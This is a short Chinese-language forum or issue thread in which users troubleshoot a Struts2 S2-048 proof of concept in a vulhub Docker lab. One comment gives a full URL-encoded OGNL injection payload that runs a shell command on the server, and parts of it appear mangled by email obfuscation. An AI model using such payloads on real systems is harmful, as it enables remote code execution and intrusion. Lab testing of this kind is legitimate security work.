弹不出计算器

[abay123]

可以执行计算可是弹计算器就不行

[Bi3g0]

Me too~

[hy-nk]

貌似poc需要改造
https://mp.weixin.qq.com/s/iBLrrXHvs7agPywVW7TZrg

[downtown12]

如果是用vulhub/struts2-048的docker，docker是linux环境，执行命令的话用仓库主人jas502n 给的linux的PoC :P

http://localhost:58080/struts2-showcase/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%[email protected]@getRuntime%28%29.exec%28%27touch /tmp/fgetdapain%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%[email protected]@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/actionChain1.action

[abay123]

不是的 这个poc还是用不了 .5的版本都会返回空值，只有.3的版本中有一个可以